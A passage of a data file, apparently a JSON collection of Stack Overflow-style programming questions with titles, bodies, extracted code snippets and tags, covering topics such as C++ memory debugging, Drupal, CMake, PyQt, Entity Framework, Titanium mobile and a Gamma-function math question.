Purify v.7.0.0.0 build:6274\nMemory Validator v.5.12\ncppcheck - worked fine on
given snippet but didn't helped on real big project\n\nUPD: it seems that there is
no way to find uninitialized memory in release mode with optimizations turned on
with dynamic memory debugger. Going to try in debug mode.\n", "class Temp{\
npublic:\n Temp(double d) : m_double(d){};\n\n double m_double;\n float m_float;\
n};\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n double temp;\n std::cout << temp
<<std::endl;\n\n Temp temp2(2.0);\n std::cout << temp2.m_double <<std::endl;\n
std::cout << temp2.m_float <<std::endl;\n\n int num1, num2;\n num1 = num2 + 1;\n\n
return 0;\n}\n", "c++ windows debugging memory uninitialized"], "3635655": ["Create
menu link to view with argument", "I'm trying to use hook_menu to create a link to
a view which takes an argument. However if I use the path (in ) that I've already
set as the path in the view then the link doesn't appear. I'm guessing there's a
path conflict somewhere. Is there a way round this? Or can I use another method to
return the view?\nI'm using the following code:\n\nThanks in advance.\nAddition\n\
n", "$items[view-path/%dest]", "drupal menu hyperlink arguments"], "36586":
["GetHashCode() based on a primary key - is it safe?", "a class has an ID property
and this property gets value from a primary key column of an SQL table.\nIs it a
good practice if I write\n\ninto my class? (Equals overrided already on the same
way.)\n", "public override int GetHashCode()\n{\n return this.ID +
GetType().GetHashCode();\n}\n", "c# .net hash"], "3932672": ["Swapping individual
bits with XOR", "I was reading this article swapping of individual bits with Xor
to swap the bits of a given number.\nAs an example of *swapping ranges of bits
suppose we have have b = 00101111 (expressed in binary) and we want to swap the n =
3 consecutive bits starting at i = 1 (the second bit from the right)
with the 3 consecutive bits starting at j = 5; the result would be r = 11100011
(binary).*but i could not able to understand how it is working.\nGiven code is\n\
nPlease any one clear me how this code is working.\n", "unsigned int i, j; //
positions of bit sequences to swap\nunsigned int n; // number of consecutive
bits in each sequence\nunsigned int b; // bits to swap reside in b\nunsigned int
r; // bit-swapped result goes here\n\nunsigned int x = ((b >> i) ^ (b >> j)) &
((1U << n) - 1); // XOR temporary\nr = b ^ ((x << i) | (x << j));\n", "c binary"],
"2783181": ["Can't disable hardware acceleration in Adobe Flash Player 11.2.202.251
on Ubuntu", "With the new release of Flash Player for Ubuntu I'm not even able to
disable hardware acceleration to avoid that frustrating channel management that
overlays a sort of blue pattern on each video. \nI'd really like to get rid of it:
I right-clicked on the running plugin, went to settings and then tried to remove
the tick with no success. \n", "", "ubuntu flash-player hardware-acceleration"],
"4164762": ["Making cmake print commands before executing", "I'm working on a large
C++ project built with cmake on linux. Cmake runs okay, producing a horde of
Makefiles in the tree of modules and applications. Running gnu make leads to
linker errors. How can I get make to print out the exact commands before running
them?\nThe -d option does not print the commands, but plenty of information that
hasn't been helpful.\nThe -n option prints all the commands, but does not run them,
so I can't tell were exactly the trouble is. Examining the stdout from make -n, I
don't see any commands that are relevant. I suspect some commands change
depending on the results of earlier commands, and the hierarchy of Makefiles makes
it difficult to tell what's really going on.\nI don't see any other options in
make's man page that seem helpful.\n", "", "linux cmake gnu-make"], "4482463":
["Oracle dual query", "I have a query like this:\n\nI know what dual is but this
part really makes me wonder. What does this syntaxis mean?\nAre X and Y tables or
what?\n", "SELECT X.Y( 'p1', 'p2', 'p3', 'p4', '100') from dual\n", "oracle plsql
oracle11g"], "4980439": ["Tween TranslateAnimation update position", "I am
programming a board game using the Android Platform. I am using Tween Animation,
specifically the TranslateAnimation tool to create an animation that moves an
ImageView object across the screen. I would like that ImageView to remain in its
new position after the animation finishes. Please teach me how to do this?\nThis is
a snippet of code that I am using to run the animation.\n\nI am using Java to
declare the animation instead of using an xml file because I don't know how to
modify the fromXDelta, toXDelta, fromYDelta, toYDelta variables inside of the main
class code.\n", "ImageView image = (ImageView) findViewById(R.id.ImageView)\
nAnimation personal = new TranslateAnimation(0,100,0,100);\
npersonal.setDuration(2000);\nimage.startAnimation(personal);\n", "android
animation tween"], "3579985": ["can i sort stored score in nsuserdefaults?", "i am
developing game application ,in that app i am storing name,score in
nsuserdefaults ....but\nthe according to my requirement i want to store name and
score (high to low) based on score ....is there any solution for sorting score in
nsuserdefaults... i want show my high score on top \nthank's in adv\n-
(void)btnSaveScore\n{\n if(!dictWinData)\n dictWinData =
[[NSMutableDictionary alloc] init];\n\nplease help me out\n", " array =
[[NSMutableArray alloc] init];\n array = [[[NSUserDefaults standardUserDefaults]
valueForKey:@\"ScoreName\"] mutableCopy];\n if([array count] == 0)\n {\n
array = [[NSMutableArray alloc] init];\n }\n\nNSString *strName = [NSString
stringWithFormat:@\"%@\",strNameOFPlayer];\nNSString *strScore = [NSString
stringWithFormat:@\"%@\",[NSString stringWithFormat:@\"%d\",iTap]];\n\
nif([strNameOFPlayer length]==7)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\nelse if
([strNameOFPlayer length] == 6)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\nelse if
([strNameOFPlayer length] == 5)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\nelse if
([strNameOFPlayer length] == 4)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\nelse if
([strNameOFPlayer length] == 3)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\nelse if
([strNameOFPlayer length] == 2)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\nelse
if ([strNameOFPlayer length] == 1)\n [array addObject:[NSString
stringWithFormat:@\"%@ %@\",strName,strScore]];\n\n
NSUserDefaults *dfltsData = [NSUserDefaults standardUserDefaults];\n [dfltsData
setObject:array forKey:@\"ScoreName\"];\n [dfltsData synchronize];\n
UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@\"Alert\"\n
message:@\"Score is saved.\"\n
delegate:self\n cancelButtonTitle:@\"Ok\"\n
otherButtonTitles:nil, nil];\n [alert show];\n [alert release];\
n", "iphone ios nsuserdefaults"], "4545150": ["Social networks and genetic
algorithms in R", "I am trying to implement a network core-periphery measure from
an article (link: Borgatti & Everett 2000) in R. The basic approach applied by the
authors is to:\n\nArrange the rows and columns of the network matrix so that actors
that are well connected to each other occupy the top left corner.\nCreate an ideal
pattern matrix based on the row/column arrangement in step 1\nAssess the
correlation between the two matrices\n\nAccording to the authors the trick in step
one is to find the row/column arrangement of the matrix that correlates the highest
with its induced pattern matrix, and they recommend using a genetic algorithm to
find the best row/column arrangement. I am stuck at the first steps of the
algorithm:\n\nHow do I in R create random row/column matrix arrangements that
preserve the order of the column/row entries?\nOnce I have assessed the fit between
the matrix arrangements and the patterns matrices, how do I \"breed\" new matrix
arrangements based on the \"fittest\" matrices?\n\nThanks.\n", "", "r genetic-
algorithm social-networking"], "2404221": ["WebActivator.PreApplicationStartMethod
does not work", "\nHere is my code that is supposed to run before Application_start
in global.asax.\nI was upgrading my web project from mvc 3 to mvc 4. So, In that
process, I made a mistake in namespace. This was working before i corrected my
namespace. It no longer works now. I reset iis/flushed dns/ rebuilt
solution/removed the temporary .net files in C:\\Windows\\Microsoft.NET\\
Framework64\\versionxxxxxx...\\Temporary ASP.NET Files\\root.\nNothing worked. Am i
missing something here? The Initialize() method has all my structure map stuff
dependency resolution stuff. So, I can't move forward without figuring this out.
Tried to diagnose the problem for so many hours and i need help.\n", "[assembly:
WebActivator.PreApplicationStartMethod(typeof(MyApp.App_Start.StructureMapMvc), \"S
tart\")]\n\nnamespace MyApp.App_Start\n{\n public static class StructureMapMvc\n
{\n public static void Start()\n {\n var container =
IoC.Initialize();\n DependencyResolver.SetResolver(new
SmDependencyResolver(container));\n }\n }\n}\n", "c# asp.net-mvc-4
structuremap"], "4820992": ["Setting up Continuous Integration with SVN", "What
tools would you recommend for setting up CI for build and deployment of multiple
websites built on DotNetNuke using SVN for source control? \nWe are currently
looking at configuring Cruise Control to work with NAnt, NUnit, NCover and Trac as
a test case. What other combinations would worth investigating?\nWe have full
control of our development environment so using some form of CI is certain here but
I would also like to convince our production services team that they can reliably
deploy to the system test, uat and even production environments using these tools.\
n", "", "svn continuous-integration"], "2222052": ["unable to open Berkeley db
/etc/sasldb2: No such file or directory", "In /var/log/mail.log I get such error
message:\n\nBut the database is here:\n\nHow can I fix/diagnose that issue?\n",
"Jul 25 01:33:11 ubuntu8 postfix/smtpd[10863]: warning: SASL authentication
problem: unable to open Berkeley db /etc/sasldb2: No such file or directory\n",
"postfix sasl smtpd"], "5988851": ["what's the common schema for allowing
multiple \"types\" of data that is of the same parent", "What's the standard way of
storing ``subtypes'' if you will in relational databases like MySQL?\nAs an
example, think of a single user's Facebook feed. All it contains are \"entries\",
but these entries can vary significantly in type and what needs to be stored. A
status might require a for example, while a picture might want a and a note might
need a . \nCompletely separate tables make it necessary to make seemingly
needlessly complex queries to get all of the recent entries of any type. It just
seems awkward, inefficient and not completely stable to have a lot of extra columns
in which only one can be not NULL.\n\nI understand that this must be a common
question but I cannot find something similar, so please feel free to tell me a
duplicate and I'll happily close the question.\n", "VARCHAR(255)", "mysql sql
relational-database innodb"], "1064139": ["Script created on one
machine and run on another machine", "I have created a script for application
server by using my machine and now i want to run this script on other machine, but
when i am running this script, i'm getting following error:\n\nValidation of
viewstate MAC failed. If this application is hosted by a\n Web Farm or cluster,
ensure that configuration specifies\n the same validationKey and validation
algorithm. AutoGenerate cannot\n be used in a cluster.\n\nHow can i use this
script or should i create another script on that machine?\nThanks.\n", "", "asp.net
jmeter"], "4964972": ["How to recognize migration direction (up or down) with Rails
3 style migrations (def change)?", "I really like the Rails 3 style migrations,
i.e. one method being smart enough to recognize if the migrations is being
installed or rolled back, so I don't have to write and methods mirroring each
other. But I have situation that I need to skip some code when the migration is
rolled back (updating columns that I'm adding). \nI looked at
http://guides.rubyonrails.org/migrations.html but the examples at the end of
section 5 suffer from the same problem:\n\nWhen this migration is rolled back, the
update of field is unnecessary. Is there a way to prevent it? \nI tried looking
into but since Rails is smart enough to perform migration in reverse direction,
the update is executed before the column is removed. Also, when method is defined,
any or methods seem to be ignored. Any other ideas?\n", "change", "ruby-on-rails
ruby-on-rails-3 migration rails-migrations"], "2783182": ["Circular buffers in
OpenAL", "In DirectSound, there was a very distinct concept of circular buffers\nIn
particular there was a current read position, a current write position, and clear
methods to GetPosition and lock the buffer and start writing.\n\nI'm looking for a
similar concept in OpenAL, but all I can find is looping an buffer, and using to
determine the current read position (and write say, 15 samples after that?)\nOpenAL
docs are down right now, but accessible here.\nWhat is a safe way to declare a
sound buffer that gets written to by the application as it is playing? Am I right
about using a looping streaming buffer?\n", "AL_STREAMING", "streaming openal
soundbuffer"], "5023306": ["Text Box inside EditTemplate in a Datagrid is returns
empty text", "i want to Capture the the Text Entered by a user when the update
Command is Pressed taking into Consideration that i Changed the Edit and Update
Command To be named Activate\n\nWell and my code behind is :\n\nin the
Datagrid1_UpdateCommand \nThe Text Value of the TextBox txt_Days is always empty\
nWhat am i doing wrong ??\nI've done this kind of work for a really long time , but
i cannot see the error this time\nPlease Help,\nRegards.\n", " <asp:DataGrid
ID=\"Datagrid1\" runat=\"server\" AutoGenerateColumns=\"False\" Width=\"100%\"\n
OnCancelCommand=\"Datagrid1_CancelCommand\"
OnEditCommand=\"Datagrid1_EditCommand\"\n
OnUpdateCommand=\"Datagrid1_UpdateCommand\">\n <Columns>\n
<asp:TemplateColumn>\n <EditItemTemplate>\n <table
cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n <tr>\n
<td align=\"center\" style=\"width: 200px; white-space: nowrap;\">\n
<asp:Label ID=\"Label1\" runat=\"server\" Text='<%# Eval(\"Reg_FullName\")
%>'></asp:Label>\n </td>\n <td
align=\"center\" style=\"width: 100px;\">\n <asp:Label
ID=\"lbl_User\" runat=\"server\" Text='<%# Eval(\"Reg_UserName\") %>'></asp:Label>\
n </td>\n <td align=\"center\"
style=\"width: 100px;\">\n <asp:Label ID=\"lbl_AddedAt\"
runat=\"server\" Text='<%# Eval(\"Reg_ActivatedAt\") %>'></asp:Label>\n
</td>\n <td align=\"center\" style=\"width: 100px;\">\n
<asp:Label ID=\"lbl_IsAct\" runat=\"server\" Text='<%# Eval(\"Reg_IsActive\")
%>'></asp:Label>\n </td>\n <td
align=\"center\" style=\"width: 100px;\">\n <asp:Label
ID=\"lbl_Days\" runat=\"server\" Text=\"<%$ Resources:Okaz, DaysNum
%>\"></asp:Label>\n </td>\n <td
align=\"center\" style=\"width: 100px;\">\n <asp:TextBox
ID=\"Hello_txt\" runat=\"server\"></asp:TextBox>\n </td>\n
</tr>\n </table>\n
</EditItemTemplate></asp:TemplateColumn>\n <asp:EditCommandColumn
CancelText=\"Cancel\" EditText=\"Activate\"\n
UpdateText=\"Activate\"></asp:EditCommandColumn>\n", "asp.net textbox"], "4121031":
["Installing PHP v5.2.5 on RHEL6 64-bit fails on openssl make error", "I'm
attempting to compile PHP v5.2.5 from source (yes, I'm aware it is out of date, so
is our security office's standards), and I'm coming up short in attempts at finding
answers online. For the ./configure options, I'm using:\n\nI've installed all
necessary *-devel packages, so the configure completes successfully, but upon
running make, I am presented with a host of openssl errors similar to\n\nWhere ####
is replaced with a 4 digit number, and 'priv_key' can range from anything such as ,
to , to . The final error received before exiting is:\n\nI've confirmed that I do
have openssl-devel installed. I also have gcc v4.4.5-6 and glibc-headers v2.12-
1.25 installed (as I've heard those are often culprits, just not in this scenario
apparently). What can I do to rid of these errors and finish compiling PHP?
Thanks!\n", "./configure --with-apx2 --with-mysql --with-ldap --enable-mbstring --
enable-soap --with-openssl --enable-exif --with-curl --enable-sockets --with-zlib
--libdir=/usr/lib64 --with-libdir=lib64\n", "php openssl make compiling"],
"3745564": ["C free and struct", "My question is about C free() function for
deallocating memory blocks previously allocated with malloc().\nIf i have a struct
data type compose of several pointers, each of them pointing to different memory
locations, what would happen to those memory locations if i apply free() on the
struct? will that locations be free too? or just the memory block that allocate the
pointer?\n", "", "c pointers data-structures free"], "1648750": ["Usefulness of
functional programming languages for computer scientists?", "I don't want this
question to be too debatable.\nI've just finished my 2nd year of studying and kind
of missed my chance to study functional programming (Haskell), and am wondering
whether it really is worth spending large part of summer studying it or not. I will
be working on a project over the summer that involves learning javascript and xul.
I know that javascript isn't really challenging, but I have to learn it, unlike
Haskell :/ , in order to accomplish the project.\nI am a little bit worried that my
knowledge, understanding and memory of lambda calculus may shrink over the summer
and this would largely affect my ability to learn Haskell. But as a professional
developers would you really say that there are some real benefits of knowing
functional programming? Would it be better to learn it asap or should I get more
experience with other languages like c, java and the ones I mentioned earlier
first?\n", "", "functional-programming education"], "609845": ["jQuery sortable not
working in IE", "I am using jQuery sortable to allow users to rearrange in a
list. HTML only contains\n\nAnd the javascript contains this:\n\nThe items are
added dynamically from JS and after adding the items, I'm calling\n$
('#uisortable').sortable(\"refresh\");\nEverything works perfectly fine in FF,
Opera and Webkit, but does not work at all in IE - any version, even IE 9. I tried
adding option to the like this:\n\nIn IE 9 script debugger, I put a breakpoint on
line - but that line never activates. It seems like in IE the sortable is simply
not attaching itself to the list.\nI'm using jquery 1.4.2 with jquery UI 1.8.13.\
nInterestingly, jquery ui sortable demo page works fine, so it's got to be
something with my code - but how much further can I simplify it? Ok, I can - so I
did. Instead of dynamically creating the items, I created them statically (for
testing) in my HTML. I removed everything from the except one line of text. Now
my HTML looks like this:\n\nWith the above javascript code. Still, not working in
IE. And no errors of any kind in the error console. Fine in FF, Webkit and Opera
though. I'm totally stumped now. Any help is greatly appreciated.\n", "<li>",
"jquery jquery-ui internet-explorer sortable jquery-ui-sortable"], "2151858":
["Response format specification in ASP.NET MVC 3 Routes", "I'm creating an API for
a website. I'm using ASP.Net MVC 3 and I'm trying to create routes that support an
optional .format parameter. So the client app could request /user/post.json,
/user/posts.xml or just /users/posts\n I was able to make the .json or .xml
ending url's work using the following route:\n\nBut I couldn't make the url without
the .format parameter (/user/posts) work alongside. Can anyone help me out here
with some example?\nthanks!\n", " routes.MapRoute( _\n \"no_params\", _\n
\"{controller}/{action}.{format}\", _\n New With {.action
= \"Index\", .format = UrlParameter.Optional} _\n )\n", "asp.net asp.net-mvc
vb.net asp.net-mvc-3 asp.net-mvc-routing"], "3296254": ["Automatic Reference
Counting and the UINavigationController", "I'm having a very strange issue with the
UINavigationController in combination with ARC (Automatic Reference Counting).\
nI've got this iPad application with a UIViewController that contains a view with
some subviews.\nIt's view has a UIScrollView in it( with at least 5 subviews),
and 2 simple views, a black bar and a white bar.\nWhenever I push something on the
UINavigationController stack, let's say a WebView, and I get a memory warning, the
UINavigationController calls ViewDidLoad on all current, and previous
UIViewControllers that were/are on it's stack.\nNow comes the problem, when I pop
said WebView from the stack, and I return to the UIViewController with the
scrollview, it's gone!\nIt's completely blanked out.\nI suspect the -
didReceiveMemoryWarning method deallocs some things under the hood since ARC is
enabled. How can I force ARC to keep hold on to this specific ViewController?\nCan
someone please help me with this? Because it's really annoying me at this very
moment.\nThanks a lot!\n-B\n", "", "objective-c ios uinavigationcontroller
automatic-ref-counting"], "3560779": ["hide/remove fragment added with tabsadapter
in fragmenttabspager", "Im trying to remove or at least hide fragments and tabs
created like in the FragmentTabsPager example from support4 package from Google. I
can only use one activity as Im using webviews and want to use the same webpages..
Unfortunately the Tabsadapter class only contains a AddTab method and not a
removetab. This class \"relies on a trick\" and I don't understand much of it.. \
nthis is how I create my tabs/fragments:\n\nI have tried mTabsAdapter.destroyItem,
without any luck. I have also tried to remove through fragmentTransaction, but
without any luck:\n\nI have found ways to remove just the tab, but the fragments
stays around, causing 3 fragments on 2 tabs..\nThe rest of my code is basically the
same as Fragmenttabspager example..\nAny ideas?\n",
"mTabsAdapter.addTab(mTabHost.newTabSpec(\"workout\").setIndicator(\"Workouts\"),\n
WorkoutFragment.class, null);\n", "android-fragments android-viewpager android-
tabs"], "3993254": ["BlackBerry - How can i show a Label with emoticons?", "I need
to show a Label with emoticons included already in the blackbery interface, with
flags, etc.\n", "", "gui blackberry graphics drawing emoticons"], "2396220": ["How
to Add an HREF using Javascript?", "I have an ASP.NET 4.0 site that has links to
another ASP.NET site (different domain name). In situations where users from
domain 1 are directed to a page on domain 2, how would I setup a Javascript routine
to create an href back to domain 1? That is, I don't want to place a solid tag
on domain 2 pointing back to domain 1. Rather, I need a little bit of script magic
that only makes the href available to users coming from domain 1. Can anyone
suggest a specific Javascript library/widget that functions in this manner?\n",
"<a>", "javascript asp.net"], "1533919": ["how to make a cross domain request that
isnt forgeable", "I need to get some data from into 's server side. In order to
make the request to to retrieve the data, there are cookies associated with 's
domain which need to be present. I assume I therefore need to do this in javascript
with JSONP?\nMy ideas was to use JavaScript to make the request to and then
capture the result and stick it a cookie on s domain such that subsequent requests
to would carry the cookie with the returned data (it doesnt matter that it takes
two requests to to get the information to 's serverside). This would work fine,
except its completely hackable. \nThe data itself isn't secret but I need to
prevent request forgery or people on calling the JSONP callback function manually,
or setting the cookie manually with stolen or otherwise faked data. Also, is there
any other loophole for hacking? This would also need preventing!\nThe only way I
can think of doing this is:\n generates a random token and stores it in the
session. It then appends this token to the querystring of the JSONP request to .
then responds but encrypts the usual data along with the token using digital
signing. then sticks this value in a cookie on . In the next request to , s server
side can capture the cookie, get the value, decrypt it, check the token and if it
matches the value in the session, trust the rest of the data.\nDoes this sound
sensible? Is there an easier way? My goal is to reduce the complexity at s end.\
nThanks\n", "Site B", "javascript security cross-domain csrf"], "4145738":
["PyQt4.QtCore.pyqtSignal object has no attribute 'connect'", "I'm having issues
with a custom signal in a class I made.\nRelevant code:\n\nBoth of those belong to
the class: RefreshWidget.\nIn its parent class I have:\n\nWhen I try to run the
program, I get the error:\n\nHelp?\nThanks in advance.\n", "self.parse_triggered =
QtCore.pyqtSignal()\n\ndef parseFile(self):\n self.emit(self.parse_triggered)\
n", "pyqt signals pyqt4"], "669690": ["Java - UnresolvedAddressException due to
lack of timezone info?", "I'm looking for a few days for the solution to an
UnresolvedAddressException I can't figure out!\nIt seems it's quite a challenging
problem, since I couldn't even find other info on the net!\nI'm working with OSGi
framework on JamVM.\nI get this exception when using Date.toString o
SimpleDateFormat on a Calendar object. I can't understand why the bundle tries to
connect after the getZoneStrings function. It seems it cannot find the locale but
I'm not sure this is the problem.\nI tried adding the file /etc/timezone (that was
missing) but it didn't solve the problem.\nHere's the complete stack trace of the
exception:\n\nIs there anyone who could help me, please?\nThanks,\nAndrea\nAdd to
andre26's Reputation\n", "adsdebian:/usr/local/bundle#
org.osgi.framework.BundleException: Activator start error in bundle
zApp_RoadPricing [24].\nat
org.apache.felix.framework.Felix.startBundle(Felix .java:1506)\nat
org.apache.felix.framework.BundleImpl.start(Bundle Impl.java:774)\nat
org.apache.felix.shell.impl.StartCommandImpl.execu te(StartCommandImpl.java:105)\
nat org.apache.felix.shell.impl.Activator$ShellService
Impl.executeCommand(Activator.java:291)\nat
org.apache.felix.shell.remote.Shell.run(Shell.java :109)\nat
java.lang.Thread.run(Thread.java:743)\nCaused by:
java.nio.channels.UnresolvedAddressException\nat
gnu.java.nio.SocketChannelImpl.connect(SocketChann elImpl.java:160)\nat
gnu.java.net.PlainSocketImpl.connect(PlainSocketIm pl.java:281)\nat
java.net.Socket.connect(Socket.java:454)\nat
java.net.Socket.connect(Socket.java:414)\nat
gnu.java.net.protocol.http.HTTPConnection.getSocke t(HTTPConnection.java:719)\nat
gnu.java.net.protocol.http.HTTPConnection.getOutpu
tStream(HTTPConnection.java:800)\nat
gnu.java.net.protocol.http.Request.dispatch(Reques t.java:291)\nat
gnu.java.net.protocol.http.HTTPURLConnection.conne ct(HTTPURLConnection.java:219)\
nat gnu.java.net.protocol.http.HTTPURLConnection.getHe
aderField(HTTPURLConnection.java:582)\nat
java.net.URLConnection.getHeaderFieldInt(URLConnec tion.java:426)\nat
java.net.URLConnection.getContentLength(URLConnect ion.java:302)\nat
gnu.java.net.loader.RemoteURLLoader.getResource(Re moteURLLoader.java:79)\nat
java.net.URLClassLoader.findResources(URLClassLoad er.java:720)\nat
java.lang.ClassLoader.getResources(ClassLoader.jav a:640)\nat
gnu.classpath.ServiceFactory.lookupProviders(Servi ceFactory.java:286)\nat
java.util.ServiceLoader$1.hasNext(ServiceLoader.ja va:163)\nat
java.text.DateFormatSymbols.getZoneStrings(DateFor matSymbols.java:123)\nat
java.text.DateFormatSymbols.<init>(DateFormatSymbo ls.java:192)\nat
java.text.SimpleDateFormat.<init>(SimpleDateFormat .java:448)\nat
java.text.SimpleDateFormat.<init>(SimpleDateFormat .java:430)\nat
crf.opengate.app.roadpricing.RoadPricing.<init>(Ro adPricing.java:109)\nat
java.lang.reflect.Constructor.constructNative(Nati ve Method)\nat
java.lang.reflect.Constructor.newInstance(Construc tor.java:328)\nat
java.lang.Class.newInstance(Class.java:1154)\nat
org.apache.felix.framework.Felix.createBundleActiv ator(Felix.java:3341)\nat
org.apache.felix.framework.Felix.startBundle(Felix .java:1453)\n...5 more\n", "java
timezone"], "4754973": ["How to populate different Info.plists for different
configurations in Xcode", "I need to populate different Info.plists for iOS Device
& Simulator schemes for the same target. How do I achieve it?\nThe problem is as
following: My application is voip therefore I need to add a UIBackgroundModes to
Info.plist, but the problem is that when this property exists in the plist and I
run the Simulator scheme, Simulator just stuck on the splash screen and I even
pressing Home button doesn't do anything, Console doesn't show anything either. So
I'd like to have one plist for Simulator scheme w/o UIBackgroundModes property and
the second - with. I could do it with a shell script, but since the script is same
for both schemes I don't know how to distinguish between them...\nTIA\n", "",
"xcode configuration ios4 ios-simulator info.plist"], "3640367": ["External Solid
State Drives", "How does the performance of an external SSD drive compare to an
internal?\nI'm assuming the connection would be USB 2.0 - would that be the
limiting factor in speed? Is it a waste of money?\nEDIT - To Clarify; what I
really want to do is to decrease build time in Visual Studio. I've been told that
SSD is the answer to all my problems; but it's a work machine and I'm not sure of
the internals and I'd prefer not to have to crack it open.\nI currently have a
ST3250310AS Barracuda drive. \nAlso - how do flash drives compare to SSD?\n", "",
"external-hard-drive ssd"], "5971776": ["Java How to prevent that an external
library downloads a DTD file", "I've created a program in java that starts as JNLP
(Java WebStart). This program can connect to a webdav service at the server, the
JNLP was started from.\nThe first webdav request results in a security warning that
some code tries to open a connection to w3.org. I'm using a external webdav client
library which creates a document internaly. The library should not be manipulated
or replaced.\nIs there any possibility to prevent
the download of the DTD from outside of the library?\nThank.\n", "", "java xml
webdav dtd"], "5026950": ["Fields Not Created in Entitiy Framework Code First", "I
have a POCO classes that inherit from a Base class. I'm using the EF Power Tools to
display the entity data model. What I'm noticing is that that only two of the five
properties are displaying from the base class. Here is an example:\nBase Class:\n\
nInherited Class:\n\nOnly LastUpdated and LastUpdatedBy show up in the Model:\n\nI
thought it might have something to do with the protected vs private setters, so I
tried setting the other three properties that aren't displaying to protected and
reran the tool. It still did not create the IsActive, Created and CreatedBy fields.
\nWhat is causing this issue and how do get all five fields to appear in the model?
\n", "using System;\n\nnamespace App.Model\n{\n [Serializable()]\n public
abstract class BaseEntity\n {\n public bool IsActive { get; private
set; }\n public DateTimeOffset Created { get; private set; }\n public
string CreatedBy { get; private set; }\n public DateTimeOffset LastUpdated {
get; protected set; }\n public string LastUpdatedBy { get; protected set; }\
n\n private BaseEntity() { }\n\n protected BaseEntity(DateTimeOffset
created, string createdBy)\n {\n IsActive = true;\n
Created = created;\n CreatedBy = createdBy;\n LastUpdated =
created;\n LastUpdatedBy = createdBy;\n }\n }\n}\n", "c#
entity-framework entity-framework-5"], "2729017": ["Is there a function $f$ such
that $\\Gamma (c+x)=\\Gamma (c-f\\left( x \\right) )$?", "I was just looking at
Euler's reflection formula for Gamma function which states $$\\Gamma (1-z)\\Gamma
(z)=\\frac { \\pi }{ \\sin { (z\\pi ) } } $$ but it seems to me that one more
reflection formula could exist so that $$\\Gamma (c+x)=\\Gamma (c-f\\left( x \\
right) )?$$ where $c\\approx 1.46163$ the local minimum for Gamma function where
x>0.\nOur first impressions would be that $$f\\left( x \\right) >f(y),\\quad
x>y\\\\ f(0)=0\\\\ f(2-c)=c-1\\\\ Im(f(x))=[0,c>$$.\nCan such function exist, and
still follow Euler's reflection formula?\n", "", "special-functions functional-
equations gamma-function"], "2460773": ["What are matroids and in what cases are
they useful?", "I came across the concept of matroids while studying up on the
concept of specifically The minimum spanning tree problem . I got this definition
from Wolfram MathWorld:\n\nRoughly speaking, a matroid is a finite set together
with a\n generalization of a concept from linear algebra that satisfies a\n
natural set of properties for that concept. For example, the finite\n set could be
the rows of a matrix, and the generalizing concept could\n be linear dependence
and independence of any subset of rows of the\n matrix.\n\nIntuitively what does
matroid help us to do ? Also what is meant by this example ? can some one please
clarify ?\n", "greedy algorithms", "linear-algebra algorithms matroids"],
"5680127": ["Titanium Studio - Putting my detailed data into a table", "I have a
data table and on eventlistener click, the row becomes a detailed window with the
data of the row selected. I have the data as labels, but I want to display some of
the data as a table with row titles (particularly my vars, mon, tues, weds, thurs,
fri, sat, sund). I attempted to create a table within the eventlistener, but it did
not appear. how would I approach this? Below is my code:\n\n", "var win =
Titanium.UI.currentWindow;\nvar data = [];\n\nvar barList =
Titanium.UI.createTableView({\n height: 366,\n width: 320,\n top: 0,\n
left: 0\n});\nwin.add(barList);\nbarList.addEventListener('click', function (e) {\n
Ti.API.info('data: ' + JSON.stringify(e.rowData.data));\n var detail =
Ti.UI.createWindow({\n backgroundColor: '#fff',\n data:
e.rowData.data, // use rowData\n title: e.rowData.data.name, // now you can
access name as well as address\n });\n\n var lbl = Ti.UI.createLabel({\n
text: JSON.stringify(e.rowData.data.address),\n top: 10\n });\n
detail.add(lbl); // just so you can see it here as well\n\n var mon =
Ti.UI.createLabel({\n text: e.rowData.data.mon_special,\n top: 30\n
});\n detail.add(mon); \n\n var tues = Ti.UI.createLabel({\n text:
e.rowData.data.tues_special,\n top: 50\n });\n detail.add(tues); \n\n
var weds = Ti.UI.createLabel({\n text: e.rowData.data.weds_special,\n
top: 50\n });\n detail.add(weds); \n\n var thurs = Ti.UI.createLabel({\n
text: e.rowData.data.thurs_special,\n top: 50\n });\n
detail.add(thurs); \n\n var fri = Ti.UI.createLabel({\n text:
e.rowData.data.fri_special,\n top: 50\n });\n detail.add(fri); \n\n
var sat = Ti.UI.createLabel({\n text: e.rowData.data.sat_special,\n
top: 50\n });\n detail.add(sat); \n\n var sund = Ti.UI.createLabel({\n
text: e.rowData.data.sun_special,\n top: 50\n });\n
detail.add(sund); \n\n\n detail.open({\n modal: true\n });\n});\n\nvar
xhr = Titanium.Network.createHTTPClient();\nxhr.onload = function () {\n var
json = JSON.parse(this.responseText);\n Ti.API.info(json.length);\n for (var
i = 0; i < json.length; i++) {\n var row = Titanium.UI.createTableViewRow({\
n className: 'bar-row',\n data: json[i].bar, // pass
everything because you also use name later on\n hasChild: true,\n
filter: json[i].bar.name\n });\n var titleLabel =
Titanium.UI.createLabel({\n text: json[i].bar.name,\n font:
{\n fontSize: 14,\n fontWeight: 'bold'\
n },\n left: 70,\n top: 5,\n height:
20,\n width: 210\n });\n row.add(titleLabel);\n var
addressLabel = Titanium.UI.createLabel({\n text: json[i].bar.address,\n
font: {\n fontSize: 10,\n fontWeight: 'normal'\n
},\n left: 70,\n top: 25,\n height: 40,\n
width: 200\n });\n row.add(addressLabel);\n var iconImage =
Titanium.UI.createImageView({\n text: json[i].bar.logo_file_name,\n
width: 50,\n height: 50,\n left: 10,\n top: 10\n
});\n row.add(iconImage);\n data.push(row);\n }\n
barList.setData(data);\n};\nxhr.open('GET', 'http://site.com/bars.json');\
nxhr.send();\n", "json data titanium tableview titanium-mobile"], "701370": ["How
can I save / auto-fill a IPSec VPN connection password and user name?", "I have set
up a Cisco IPSec VPN connection instead of using the Cisco client on Mac OS X. I
like it fairly well, it just sits in the tray next to the clock and allows me to
easily connect and disconnect.\nHowever, the one disadvantage to this is that
